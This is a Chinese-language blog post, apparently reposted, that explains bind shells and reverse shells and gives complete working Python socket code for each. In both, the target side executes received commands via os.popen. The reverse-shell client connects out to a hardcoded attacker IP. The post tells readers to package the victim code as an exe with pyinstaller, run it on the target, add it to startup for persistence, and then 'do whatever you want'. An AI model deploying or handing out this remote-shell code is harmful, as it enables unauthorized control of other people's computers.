python shell与反弹shell
2019-03-06 07:17:53来源:博客园 阅读 ()
python shell与反弹shell
正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接
反弹shell,攻击端是服务端,被攻击端是客户端
正常shell,攻击端是客户端,被攻击端是服务端
反弹shell,先启用服务端,再启用客户端
反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)
shell:
客户端:
import socket s=socket.socket() s.connect(("192.168.0.114",1234)) #连接的服务器的ip地址,端口 for i in range(10): com=input("command:") s.send(com.encode()) #发送信息 d=s.recv(1024) #接受数据的大小 print(d.decode(),len(d))
服务端:
#服务器端 import socket import os s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接 s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量 con,addr=s.accept() #接受一个客户端的连接 #print(con,addr) for i in range(10): cmd=con.recv(1024) print(cmd) command=cmd.decode() if command.startswith("cd"): os.chdir(command[2:].strip()) #切换路径 result=os.getcwd() #显示路径 else: result=os.popen(command).read() if result: con.send(result.encode()) else: con.send(b"OK!")
测试:(客户端(win10)、服务端(win7))
1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)
打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件
2.在win10运行客户端
反弹shell:
客户端:
#反弹shell,攻击端是服务端,被攻击端是客户端 #正常shell,攻击端是客户端,被攻击端是服务端 #例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端 # 反弹shell,先在win10启用服务端,再在win7启用客户端 # 反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行) # 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 import socket import os import sys import time #print(sys.argv) #hacker=sys.argv[1] hacker="192.168.0.144" port=1234 server=(hacker,port) s=socket.socket() s.connect(server) while 1: # 得到被攻击端的所在目录,并发送 dir=os.getcwd() #print(dir) s.send(dir.encode()) # 接收来自攻击端(服务器端)的命令,并进行处理 cmd=s.recv(1024).decode() # 对接收的命令做出判断 # 退出 if cmd=="exit": break elif cmd.startswith("cd"): os.chdir(cmd[2:].strip()) result="切换目录成功!" else: result=os.popen(cmd).read() if not result: result="命令执行完毕!" s.send(result.encode()) time.sleep(1) s.close() print("退出!")
服务端:
import socket import time server=("0.0.0.0",1234) s=socket.socket() s.bind(server) s.listen(5) con,addr=s.accept() print(addr,"已经接入!") while 1: #接收来自被攻击端的所在目录 dir=con.recv(1024).decode() cmd=input(dir+":").strip() con.send(cmd.encode()) if cmd=="exit": break result=con.recv(65365) print(result.decode()) time.sleep(1) s.close() print("退出!")
测试:
1.先在win10运行反弹shell服务端
2.再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行
3.这时可以看到服务端(win10)已经和客户端(win7)连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端
4.接下就可以为所欲为了
原文链接:https://www.cnblogs.com/yuzly/p/10473497.html
如有疑问请与原作者联系
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
上一篇:python 模块学习(二)
下一篇:django orm 基本
- python3基础之“术语表(2)” 2019-08-13
- python3 之 字符串编码小结(Unicode、utf-8、gbk、gb2312等 2019-08-13
- Python3安装impala 2019-08-13
- 小白如何入门 Python 爬虫? 2019-08-13
- python_字符串方法 2019-08-13
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash